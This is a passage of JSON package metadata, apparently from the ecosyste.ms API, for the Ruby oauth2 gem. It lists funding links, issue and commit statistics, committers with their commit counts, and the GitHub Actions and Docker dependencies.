2.0.21"}],"purl":"pkg:gem/oauth2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcDkyLWNyZzItZ2Z2Oc4ABgmi/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/oauth2","docker_dependents_count":575,"docker_downloads_count":619817949,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/oauth2","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/oauth2/dependencies","status":null,"funding_links":["https://github.com/sponsors/pboling","https://buymeacoffee.com/pboling","https://issuehunt.io/r/pboling","https://ko-fi.com/pboling","https://liberapay.com/pboling","https://opencollective.com/ruby-oauth","https://patreon.com/galtzo","https://polar.sh/pboling","https://thanks.dev/u/gh/pboling","https://tidelift.com/funding/github/rubygems/oauth2"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-14T22:37:46.520Z","issues_count":29,"pull_requests_count":136,"avg_time_to_close_issue":26039226.703703705,"avg_time_to_close_pull_request":486102.0,"issues_closed_count":27,"pull_requests_closed_count":116,"pull_request_authors_count":27,"issue_authors_count":20,"avg_comments_per_issue":3.7586206896551726,"avg_comments_per_pull_request":2.051470588235294,"merged_pull_requests_count":91,"bot_issues_count":0,"bot_pull_requests_count":45,"past_year_issues_count":4,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":161270.5,"past_year_avg_time_to_close_pull_request":238220.54237288135,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":59,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":2.25,"past_year_avg_comments_per_pull_request":2.207792207792208,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":32,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/issues","maintainers":[{"login":"pboling","count":59,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pboling"},{"login":"autobolt","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/autobolt"}],"active_maintainers":[{"login":"pboling","count":39,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pboling"},{"login":"autobolt","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/autobolt"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/oauth2/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/oauth2/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/oauth2/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/oauth2/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/oauth2/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/oauth2/codemeta","maintainers":[{"uuid":"284","login":"sferik","name":null,"email":null,"url":null,"packages_count":65,"html_url":"https://gem.coop/profiles/sferik","role":null,"created_at":"2025-10-08T00:59:27.070Z","updated_at":"2025-10-08T00:59:27.070Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/sferik/packages"},{"uuid":"509","login":"pboling","name":null,"email":null,"url":null,"packages_count":150,"html_url":"https://gem.coop/profiles/pboling","role":null,"created_at":"2025-10-08T00:59:27.119Z","updated_at":"2025-10-08T00:59:27.119Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/pboling/packages"},{"uuid":"223","login":"mbleigh","name":null,"email":null,"url":null,"packages_count":49,"html_url":"https://gem.coop/profiles/mbleigh","role":null,"created_at":"2025-10-08T00:59:27.017Z","updated_at":"2025-10-08T00:59:27.017Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/mbleigh/packages"}],"registry":{"name":"gem.coop","url":"https://gem.coop","ecosystem":"rubygems","default":false,"packages_count":195630,"maintainers_count":68820,"namespaces_count":0,"keywords_count":19101,"github":"gem-coop","metadata":{"funded_packages_count":7730},"icon_url":"https://github.com/gem-coop.png","created_at":"2025-10-06T17:24:20.932Z","updated_at":"2026-08-17T05:01:36.400Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/namespaces"}}],"commits":{"id":10481871,"full_name":"ruby-oauth/oauth2","default_branch":"main","total_commits":1579,"total_committers":153,"total_bot_commits":48,"total_bot_committers":3,"mean_commits":10.320261437908497,"dds":0.48195060164661174,"past_year_total_commits":340,"past_year_total_committers":10,"past_year_total_bot_commits":15,"past_year_total_bot_committers":1,"past_year_mean_commits":34.0,"past_year_dds":0.19999999999999996,"last_synced_at":"2026-08-16T10:00:49.592Z","last_synced_commit":"13b98c025c7757a6425f21117f88172a2dc1fc2c","created_at":"2025-06-27T17:00:22.232Z","updated_at":"2026-08-16T10:00:47.033Z","committers":[{"name":"Peter H. Boling","email":"peter.boling@gmail.com","login":"pboling","count":818},{"name":"Erik Michaels-Ober","email":"sferik@gmail.com","login":"sferik","count":209},{"name":"Michael Bleigh","email":"michael@intridea.com","login":null,"count":62},{"name":"Jeff Moore","email":"pair+jeff@mavenlink.com","login":null,"count":38},{"name":"Paul Walker","email":"github@paulwalker.tv","login":"paulwalker","count":28},{"name":"autobolt","email":"autobots@9thbit.net","login":"autobolt","count":27},{"name":"Annibelle Boling","email":"annibelle.boling@gmail.com","login":"Aboling0","count":26},{"name":"depfu[bot]","email":"depfu[bot]","login":"depfu[bot]","count":25},{"name":"Joseph Page","email":"joseph.page@rentacar.fr","login":"josephpage","count":21},{"name":"Luke Saunders","email":"luke.saunders@gmail.com","login":"lukesaunders","count":21},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":19},{"name":"Stan Hu","email":"stanhu@gmail.com","login":"stanhu","count":12},{"name":"Bo Jeanes","email":"me@bjeanes.com","login":"bjeanes","count":12},{"name":"rick","email":"technoweenie@gmail.com","login":"technoweenie","count":9},{"name":"Niels Ganser","email":"niels@herimedia.com","login":"niels","count":8},{"name":"Samuel Cochran","email":"sj26@sj26.com","login":"sj26","count":8},{"name":"Mathias Klippinge","email":"mathias.klippinge@gmail.com","login":"klippx","count":7},{"name":"Ellis Berner","email":"eberner@gmail.com","login":"maletor","count":6},{"name":"Motoshi Nishihira","email":"sha7me1on.mach@gmail.com","login":"Motoshi-Nishihira","count":5},{"name":"nov matake","email":"nov@matake.jp","login":"nov","count":5},{"name":"Benjamin Quorning","email":"benjamin@quorning.net","login":"bquorning","count":5},{"name":"Lawrence Oluyede","email":"l.oluyede@gmail.com","login":null,"count":5},{"name":"Diego Elio 'Flameeyes' Pettenò","email":"flameeyes@gmail.com","login":"Flameeyes","count":4},{"name":"Edward Rudd","email":"urkle@outoforder.cc","login":"urkle","count":4},{"name":"An Vo","email":"thien.an.vo.nguyen@gmail.com","login":"anvox","count":4},{"name":"Michael Andrews","email":"michael@socialcast.com","login":null,"count":4},{"name":"depfu[bot]","email":"bot@depfu.com","login":null,"count":4},{"name":"Omer Rauchwerger","email":"rauchy@gmail.com","login":"rauchy","count":3},{"name":"Nathaniel Bibler","email":"git@nathanielbibler.com","login":"nbibler","count":3},{"name":"Nathan Woodhull","email":"woodhull@gmail.com","login":"woodhull","count":3},{"name":"Mridang Agarwalla","email":"mridang.agarwalla@gmail.com","login":"mridang","count":3},{"name":"Matthew Rudy Jacobs","email":"matthewrudyjacobs@gmail.com","login":"matthewrudy","count":3},{"name":"Jessie Young","email":"jessieyoung@gitlab.com","login":"jessieay","count":3},{"name":"James Pinto","email":"thejamespinto@gmail.com","login":"ch1ago","count":3},{"name":"Adrian Setyadi","email":"a.styd@yahoo.com","login":"styd","count":3},{"name":"Jeff Moore","email":"jeff@mavenlink.com","login":null,"count":3},{"name":"Paul Walker","email":"github@pauwalker.tv","login":null,"count":3},{"name":"Pierre Schambacher","email":"pschambacher@zendesk.com","login":"pschambacher","count":3},{"name":"Ville Lautanala","email":"lautis@gmail.com","login":"lautis","count":3},{"name":"asm__","email":"660363+asm256","login":"asm256","count":3},{"name":"Oleg","email":"gafrom@gmail.com","login":"gafrom","count":3},{"name":"Alexander Lang","email":"alex@upstream-berlin.com","login":"langalex","count":3},{"name":"Rainux Luo","email":"rainux@gmail.com","login":"rainux","count":2},{"name":"Raimondas Valickas","email":"raimondas@vinted.com","login":"raimondasv","count":2},{"name":"Peter Boling","email":"45861765+galtzo","login":"galtzo","count":2},{"name":"Pavel Rosický","email":"pdahorek@seznam.cz","login":"ahorek","count":2},{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","login":"olleolleolle","count":2},{"name":"Olivier Lacan","email":"hi@olivierlacan.com","login":"olivierlacan","count":2},{"name":"Michael Bleigh","email":"mbleigh@mbleigh.com","login":"mbleigh","count":2},{"name":"Ryan T. Hosford","email":"tad.hosford@gmail.com","login":"rthbound","count":2},{"name":"Steven Davidovitz","email":"sdavidovitz@zendesk.com","login":"steved","count":2},{"name":"T S","email":"YenTheFirst@gmail.com","login":"YenTheFirst","count":2},{"name":"Taylor Hedberg","email":"t@tmh.cc","login":"tmhedberg","count":2},{"name":"Tim Clem","email":"timothy.clem@gmail.com","login":"tclem","count":2},{"name":"meganemura","email":"meganemura","login":"meganemura","count":2},{"name":"Mark James","email":"mrj@advancedcontrols.com.au","login":"mrj","count":2},{"name":"Josh Powell","email":"joshRpowell","login":"joshRpowell","count":2},{"name":"Josh Kalderimis","email":"josh.kalderimis@gmail.com","login":"joshk","count":2},{"name":"Jeremy Kemper","email":"jeremy@bitsweat.net","login":"jeremy","count":2},{"name":"Jay Adkisson","email":"jjmadkisson@gmail.com","login":"jneen","count":2},{"name":"James Daniels","email":"james@marginleft.com","login":"jamesdaniels","count":2},{"name":"Daniel Holz","email":"daniel.holz@freeagent.com","login":"dgholz","count":2},{"name":"Christoph Petschnig","email":"christoph.petschnig@sage.com","login":null,"count":2},{"name":"João Paulo","email":"joao.paulo@talkdesk.com","login":null,"count":2},{"name":"Saverio Trioni","email":"saveriotrioni@me.com","login":null,"count":2},{"name":"Stephen Reid","email":"stephen.reid@freeagent.com","login":null,"count":2},{"name":"Tim Rogers","email":"tim@gocardless.com","login":null,"count":2},{"name":"Tom Corley","email":"tom.corley@freeagent.com","login":null,"count":2},{"name":"tetsuya","email":"tetsuya","login":"tetsuya","count":2},{"name":"Igor Sales","email":"igor.sales@toushay.com","login":null,"count":1},{"name":"James wachira","email":"jamomathenge@yahoo.com","login":null,"count":1},{"name":"Jonathan Grinstead","email":"jonathangrinstead@hey.com","login":null,"count":1},{"name":"Leigh Caplan","email":"lcaplan@onehub.com","login":null,"count":1},{"name":"Ryan Williams","email":"ryan.williams@teamsnap.com","login":null,"count":1},{"name":"Ryo Takahashi","email":"takahashi@ryo.gift","login":null,"count":1},{"name":"Simon Gate","email":"smgt@buno.se","login":null,"count":1},{"name":"Travis Hunter","email":"travis.hunter@blueapron.com","login":null,"count":1},{"name":"shota-kuwahara","email":"shota.kuwahara@dena.com","login":null,"count":1},{"name":"Trent Ogren","email":"tedwardo2@gmail.com","login":"misfo","count":1},{"name":"Tony Miller","email":"mcfiredrill@gmail.com","login":"mcfiredrill","count":1},{"name":"Tom Armitage","email":"tom@infovore.org","login":"infovore","count":1},{"name":"Tim Habermaas","email":"tim.habermaas@gmail.com","login":"timhabermaas","count":1},{"name":"Thomas Walpole","email":"twalpole@gmail.com","login":"twalpole","count":1},{"name":"Steven Parkes","email":"smparkes@smparkes.net","login":"smparkes","count":1},{"name":"StepSecurity Bot","email":"bot@stepsecurity.io","login":"step-security-bot","count":1},{"name":"Sasa Rosic","email":"4981860+srook","login":"srook","count":1},{"name":"Rob Zolkos","email":"rob@zolkos.com","login":"robzolkos","count":1},{"name":"Rick Selby","email":"rick@selby-family.co.uk","login":"rickselby","count":1},{"name":"Peter Souter","email":"p.morsou@gmail.com","login":"petems","count":1},{"name":"Orien Madgwick","email":"_@orien.io","login":"orien","count":1},{"name":"Карим Гимадеев","email":"disep@mail.ru","login":"disep","count":1},{"name":"Érik Escobedo","email":"erik@codigojade.com","login":"escoberik","count":1},{"name":"nikz","email":"me@nikwakelin.com","login":"nikz","count":1},{"name":"matt swanson","email":"swan3788@gmail.com","login":"swanson","count":1},{"name":"kain","email":"masterkain@gmail.com","login":"masterkain","count":1},{"name":"fossabot","email":"badges@fossa.io","login":"fossabot","count":1},{"name":"dobon","email":"dobon","login":"dobon","count":1},{"name":"Zachary Welch","email":"zwelch154@gmail.com","login":"zacharywelch","count":1},{"name":"Yury Velikanau","email":"yury.velikanau@gmail.com","login":"spectator","count":1},{"name":"Yuri S","email":"Fudoshiki","login":"Fudoshiki","count":1},{"name":"Wynn Netherland","email":"wynn.netherland@gmail.com","login":"pengwynn","count":1},{"name":"Vsevolod Romashov","email":"7@7vn.ru","login":"7even","count":1},{"name":"Victor Costan","email":"costan@gmail.com","login":"pwnall","count":1},{"name":"Alex Kowalczuk","email":"alex.kowalczuk@getbraintree.com","login":null,"count":1},{"name":"Andrew Cantino and Jeff Moore","email":"pair+cantino+jeff@mavenlink.com","login":null,"count":1},{"name":"Daniel Fockler","email":"danielf@mammothhr.com","login":null,"count":1},{"name":"Daniël van de Burgt","email":"daniel.vandeburgt@serialssolutions.com","login":null,"count":1},{"name":"Dave Stevens","email":"dave@crowdlab.com","login":null,"count":1},{"name":"David Christensen","email":"david.christensen@paymentspring.com","login":null,"count":1},{"name":"Frank Macreery","email":"frank@macreery.com","login":null,"count":1},{"name":"Geostellar Developer","email":"dev@sunflower.local","login":null,"count":1},{"name":"Fran J Martínez","email":"martinezcoder@gmail.com","login":"martinezcoder","count":1},{"name":"Felipe Zavan","email":"felipe@zavan.me","login":"zavan","count":1},{"name":"Emil Kampp","email":"emil@kampp.me","login":"ekampp","count":1},{"name":"Elliot Crosby-McCullough","email":"elliot.cm@gmail.com","login":"elliotcm","count":1},{"name":"Elise Wood","email":"elise@hover.to","login":"glytch","count":1},{"name":"Eduardo Gurgel","email":"eduardo@gurgel.me","login":"edgurgel","count":1},{"name":"Dorren Chen","email":"dorrenchen@gmail.com","login":"dorren","count":1},{"name":"Dan McGregor","email":"mcgregordan","login":"mcgregordan","count":1},{"name":"Damian Janowski","email":"damian.janowski@gmail.com","login":"djanowski","count":1},{"name":"Cody Cutrer","email":"cody@instructure.com","login":"ccutrer","count":1},{"name":"Chad Woolley","email":"thewoolleyman@gmail.com","login":"thewoolleyman","count":1},{"name":"Bouke van der Bijl","email":"i@bou.ke","login":"bouk","count":1},{"name":"Benjamin Curtis","email":"benjamin.curtis@gmail.com","login":"stympy","count":1},{"name":"Bas Vodde","email":"basv@odd-e.com","login":"basvodde","count":1},{"name":"Arjun Anand","email":"arjun.anand84@gmail.com","login":"yodarjun","count":1},{"name":"Antonio Tapiador del Dujo","email":"atapiador@dit.upm.es","login":"atd","count":1},{"name":"Anton Ilin","email":"bronislav","login":"bronislav","count":1},{"name":"Anders Carling","email":"lowe@lowe.nu","login":"anderscarling","count":1},{"name":"Alice-Qiu","email":"67429666+Alice-Qiu","login":"Alice-Qiu","count":1},{"name":"Alex Kowalczuk","email":"askowalczuk93@gmail.com","login":"akowalz","count":1},{"name":"Akira Matsuda","email":"ronnie@dio.jp","login":"amatsuda","count":1},{"name":"Nicholas Palaniuk","email":"nikkypx","login":"nikkypx","count":1},{"name":"Mubelotix","email":"mubelotix@gmail.com","login":"Mubelotix","count":1},{"name":"Mike Skalnik","email":"mike.skalnik@gmail.com","login":"skalnik","count":1},{"name":"Max Golovnia","email":"mgolovnia@gmail.com","login":"mgolovnia","count":1},{"name":"Markus Bengts","email":"markus.bengts@gmail.com","login":"markus","count":1},{"name":"Manuel van Rijn","email":"manuel@manuelvanrijn.nl","login":"manuelvanrijn","count":1},{"name":"Manfred Stienstra","email":"manfred@fngtps.com","login":"Manfred","count":1},{"name":"Lomey","email":"bohdanlomey@gmail.com","login":"Lomey","count":1},{"name":"Linus Pettersson","email":"linus.pettersson@gmail.com","login":"Linuus","count":1},{"name":"Karl Freeman","email":"karlfreeman@gmail.com","login":"karlfreeman","count":1},{"name":"Julien ITARD","email":"julienitard@gmail.com","login":"JulienItard","count":1},{"name":"Josh Cheek","email":"josh.cheek@gmail.com","login":"JoshCheek","count":1},{"name":"Jonathan del Strother","email":"jdelStrother@gmail.com","login":"jdelStrother","count":1},{"name":"Jon Palmer","email":"328224+jonspalmer","login":"jonspalmer","count":1},{"name":"Jesse Cotton","email":"jcotton1123@gmail.com","login":"JCotton1123","count":1},{"name":"Jason Schulte","email":"jason@exceptual.com","login":"jasonschulte","count":1},{"name":"Jan Zaydowicz","email":"jan.zaydowicz@googlemail.com","login":"janz93","count":1},{"name":"Jan Sandbrink","email":"nobodysnightmare@gmail.com","login":"NobodysNightmare","count":1},{"name":"James Wheatley","email":"james@freeagent.com","login":"sarcas","count":1},{"name":"Hamed Asghari","email":"hasghari@gmail.com","login":"hasghari","count":1},{"name":"Greg Spurrier","email":"greg.spurrier@gmail.com","login":"gregspurrier","count":1}],"past_year_committers":[{"name":"Peter H. Boling","email":"peter.boling@gmail.com","login":"pboling","count":272},{"name":"autobolt","email":"autobots@9thbit.net","login":"autobolt","count":27},{"name":"Annibelle Boling","email":"annibelle.boling@gmail.com","login":"Aboling0","count":19},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":15},{"name":"Mark James","email":"mrj@advancedcontrols.com.au","login":"mrj","count":2},{"name":"kain","email":"masterkain@gmail.com","login":"masterkain","count":1},{"name":"StepSecurity Bot","email":"bot@stepsecurity.io","login":"step-security-bot","count":1},{"name":"Rob Zolkos","email":"rob@zolkos.com","login":"robzolkos","count":1},{"name":"Mubelotix","email":"mubelotix@gmail.com","login":"Mubelotix","count":1},{"name":"Jonathan Grinstead","email":"jonathangrinstead@hey.com","login":null,"count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-17T00:00:06.017Z","repositories_count":6683507,"commits_count":960444022,"contributors_count":40628072,"owners_count":1344282,"committers_count":3322630,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues_stats":{"full_name":"ruby-oauth/oauth2","html_url":"https://github.com/ruby-oauth/oauth2","last_synced_at":"2026-08-14T22:37:46.520Z","status":"error","issues_count":29,"pull_requests_count":136,"avg_time_to_close_issue":26039226.703703705,"avg_time_to_close_pull_request":486102.0,"issues_closed_count":27,"pull_requests_closed_count":116,"pull_request_authors_count":27,"issue_authors_count":20,"avg_comments_per_issue":3.7586206896551726,"avg_comments_per_pull_request":2.051470588235294,"merged_pull_requests_count":91,"bot_issues_count":0,"bot_pull_requests_count":45,"past_year_issues_count":4,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":161270.5,"past_year_avg_time_to_close_pull_request":238220.54237288135,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":59,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":2.25,"past_year_avg_comments_per_pull_request":2.207792207792208,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":32,"past_year_merged_pull_requests_count":45,"created_at":"2025-06-27T17:00:22.784Z","updated_at":"2026-08-14T22:37:46.521Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/issues","issue_labels_count":{"docs":4,"help wanted":3,"housekeeping":3,"bug":3,"question":2,"need-docs":1,"feature request":1,"codeclimate":1,"good first issue":1},"pull_request_labels_count":{"dependencies":35,"github_actions":33,"in Changelog":12,"depfu":10,"good first issue":8,"bug":8,"feature request":3,"docs":3,"MAC":1,"housekeeping":1},"issue_author_associations_count":{"NONE":16,"MEMBER":10,"CONTRIBUTOR":3},"pull_request_author_associations_count":{"CONTRIBUTOR":75,"MEMBER":51,"NONE":10},"issue_authors":{"pboling":9,"stanhu":2,"jamietanna":1,"navidemad":1,"sjshapiro":1,"tricknotes":1,"rvaliouline":1,"tnpradeep":1,"ankush-maro":1,"clarkedb":1,"jrochkind":1,"kharamel":1,"krunalpuri":1,"laptopmutia":1,"nbibler":1,"jeromepl":1,"mvz":1,"vc-jl":1,"kaczor1984":1,"autobolt":1},"pull_request_authors":{"pboling":50,"dependabot[bot]":35,"stanhu":13,"depfu[bot]":10,"bquorning":3,"ahorek":2,"Aboling0":2,"Mubelotix":2,"jonathangrinstead":1,"step-security-bot":1,"masterkain":1,"hasghari":1,"rickselby":1,"ryogift":1,"janz93":1,"swanson":1,"amatsuda":1,"bouk":1,"kaczor1984":1,"autobolt":1,"zavan":1,"srook":1,"nbibler":1,"prasanna":1,"mrj":1,"jrochkind":1,"akostadinov":1},"host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-15T00:00:07.468Z","repositories_count":16036102,"issues_count":40361496,"pull_requests_count":130629495,"authors_count":11452741,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"},"past_year_issue_labels_count":{"docs":1,"help wanted":1},"past_year_pull_request_labels_count":{"dependencies":31,"github_actions":31},"past_year_issue_author_associations_count":{"NONE":3,"MEMBER":1},"past_year_pull_request_author_associations_count":{"MEMBER":39,"CONTRIBUTOR":33,"NONE":4},"past_year_issue_authors":{"pboling":1,"sjshapiro":1,"tricknotes":1,"vc-jl":1},"past_year_pull_request_authors":{"pboling":38,"dependabot[bot]":31,"Mubelotix":2,"autobolt":1,"jonathangrinstead":1,"masterkain":1,"mrj":1,"step-security-bot":1},"maintainers":[{"login":"pboling","count":59,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pboling"},{"login":"autobolt","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/autobolt"}],"active_maintainers":[{"login":"pboling","count":39,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pboling"},{"login":"autobolt","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/autobolt"}]},"events":{"total":{"CreateEvent":35,"CommitCommentEvent":3,"ReleaseEvent":4,"DeleteEvent":41,"PullRequestEvent":81,"ForkEvent":4,"IssuesEvent":5,"WatchEvent":26,"IssueCommentEvent":100,"PushEvent":118,"PullRequestReviewCommentEvent":14,"PullRequestReviewEvent":30},"last_year":{"CreateEvent":33,"CommitCommentEvent":3,"ReleaseEvent":4,"DeleteEvent":39,"PullRequestEvent":77,"ForkEvent":2,"IssuesEvent":5,"WatchEvent":18,"IssueCommentEvent":93,"PushEvent":109,"PullRequestReviewCommentEvent":14,"PullRequestReviewEvent":28}},"keywords":["authentication","authorization","oauth2","oauth2-client","oidc","oidc-client","security"],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/auto-assign.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:25.730Z","updated_at":"2026-03-18T08:02:25.730Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/auto-assign.yml","dependencies":[{"id":25841885647,"package_name":"pozil/auto-assign-issue","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/coverage.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:27.891Z","updated_at":"2026-03-18T08:02:27.891Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/coverage.yml","dependencies":[{"id":25841885766,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885767,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1.290.0","direct":true,"kind":"composite","optional":false},{"id":25841885768,"package_name":"coverallsapp/github-action","ecosystem":"actions","requirements":"master","direct":true,"kind":"composite","optional":false},{"id":25841885770,"package_name":"qltysh/qlty-action/coverage","ecosystem":"actions","requirements":"main","direct":true,"kind":"composite","optional":false},{"id":25841885774,"package_name":"codecov/codecov-action","ecosystem":"actions","requirements":"v5","direct":true,"kind":"composite","optional":false},{"id":25841885775,"package_name":"irongut/CodeCoverageSummary","ecosystem":"actions","requirements":"v1.3.0","direct":true,"kind":"composite","optional":false},{"id":25841885776,"package_name":"marocchino/sticky-pull-request-comment","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/dep-heads.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:28.284Z","updated_at":"2026-03-18T08:02:28.284Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/dep-heads.yml","dependencies":[{"id":25841885797,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885798,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1.290.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/dependency-review.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:28.338Z","updated_at":"2026-03-18T08:02:28.338Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/dependency-review.yml","dependencies":[{"id":25841885800,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885801,"package_name":"actions/dependency-review-action","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/windows.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:30.181Z","updated_at":"2026-03-18T08:02:30.181Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/windows.yml","dependencies":[{"id":25841885919,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885920,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1.290.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/heads.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:28.931Z","updated_at":"2026-03-18T08:02:28.931Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/heads.yml","dependencies":[{"id":25841885817,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885818,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1.290.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/license-eye.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:29.360Z","updated_at":"2026-03-18T08:02:29.360Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/license-eye.yml","dependencies":[{"id":25841885839,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885840,"package_name":"apache/skywalking-eyes/dependency","ecosystem":"actions","requirements":"main","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/macos.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:29.758Z","updated_at":"2026-03-18T08:02:29.758Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/macos.yml","dependencies":[{"id":25841885899,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885900,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1.290.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/opencollective.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:29.810Z","updated_at":"2026-03-18T08:02:29.810Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/opencollective.yml","dependencies":[{"id":25841885901,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885904,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1.290.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/style.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:29.965Z","updated_at":"2026-03-18T08:02:29.965Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/style.yml","dependencies":[{"id":25841885905,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885906,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1.290.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"docker","filepath":"docker-compose-ssl.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:30.234Z","updated_at":"2026-03-18T08:02:30.234Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/docker-compose-ssl.yml","dependencies":[{"id":25841885921,"package_name":"ghcr.io/navikt/mock-oauth2-server","ecosystem":"docker","requirements":"2.3.0","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"rubygems","filepath":"Gemfile","sha":nu